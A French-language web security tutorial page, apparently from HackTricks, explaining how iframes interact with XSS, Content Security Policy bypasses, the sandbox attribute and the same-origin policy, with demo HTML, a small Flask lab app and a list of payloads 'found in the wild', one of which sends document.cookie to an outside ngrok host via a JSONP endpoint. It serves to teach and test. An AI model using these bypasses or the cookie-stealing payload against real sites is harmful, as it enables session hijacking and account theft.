Iframes in XSS, CSP and SOP

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Iframes in XSS

Il existe 3 façons d'indiquer le contenu d'une page en iframed :

  • Via src en indiquant une URL (l'URL peut être de provenance croisée ou de même origine)

  • Via src en indiquant le contenu en utilisant le protocole data:

  • Via srcdoc en indiquant le contenu

Accès aux variables parent et enfant

<html>
<script>
var secret = "31337s3cr37t";
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

Si vous accédez au html précédent via un serveur http (comme python3 -m http.server), vous remarquerez que tous les scripts seront exécutés (car il n'y a pas de CSP pour l'empêcher). Le parent ne pourra pas accéder à la variable secret à l'intérieur de n'importe quel iframe et seuls les iframes if2 & if3 (qui sont considérés comme étant du même site) peuvent accéder au secret dans la fenêtre d'origine. Notez comment if4 est considéré comme ayant une origine null.

Iframes avec CSP

Veuillez noter que dans les contournements suivants, la réponse à la page incluse ne contient aucun en-tête CSP qui empêche l'exécution de JS.

La valeur self de script-src ne permettra pas l'exécution du code JS en utilisant le protocole data: ou l'attribut srcdoc. Cependant, même la valeur none du CSP permettra l'exécution des iframes qui mettent une URL (complète ou juste le chemin) dans l'attribut src. Il est donc possible de contourner le CSP d'une page avec:

<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Notez comment le CSP précédent autorise uniquement l'exécution du script en ligne. Cependant, seuls les scripts if1 et if2 vont être exécutés mais seul if1 pourra accéder au secret parent.

Par conséquent, il est possible de contourner un CSP si vous pouvez télécharger un fichier JS sur le serveur et le charger via un iframe même avec script-src 'none'. Cela peut éventuellement être fait en abusant d'un point de terminaison JSONP du même site.

Vous pouvez tester cela avec le scénario suivant où un cookie est volé même avec script-src 'none'. Il suffit de lancer l'application et d'y accéder avec votre navigateur:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Autres charges utiles trouvées dans la nature

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Le contenu dans un iframe peut être soumis à des restrictions supplémentaires grâce à l'attribut sandbox. Par défaut, cet attribut n'est pas appliqué, ce qui signifie qu'aucune restriction n'est en place.

Lorsqu'il est utilisé, l'attribut sandbox impose plusieurs limitations :

  • Le contenu est traité comme s'il provenait d'une source unique.

  • Toute tentative de soumission de formulaires est bloquée.

  • L'exécution de scripts est interdite.

  • L'accès à certaines APIs est désactivé.

  • Il empêche les liens d'interagir avec d'autres contextes de navigation.

  • L'utilisation de plugins via <embed>, <object>, <applet>, ou des balises similaires est interdite.

  • La navigation du contexte de navigation de niveau supérieur du contenu par le contenu lui-même est empêchée.

  • Les fonctionnalités déclenchées automatiquement, comme la lecture vidéo ou la mise au point automatique des contrôles de formulaire, sont bloquées.

La valeur de l'attribut peut être laissée vide (sandbox="") pour appliquer toutes les restrictions mentionnées ci-dessus. Alternativement, elle peut être définie sur une liste de valeurs spécifiques séparées par des espaces qui exemptent l'iframe de certaines restrictions.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes dans SOP

Consultez les pages suivantes :

Bypassing SOP with Iframes - 1Bypassing SOP with Iframes - 2Blocking main page to steal postmessageSteal postmessage modifying iframe location
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Last updated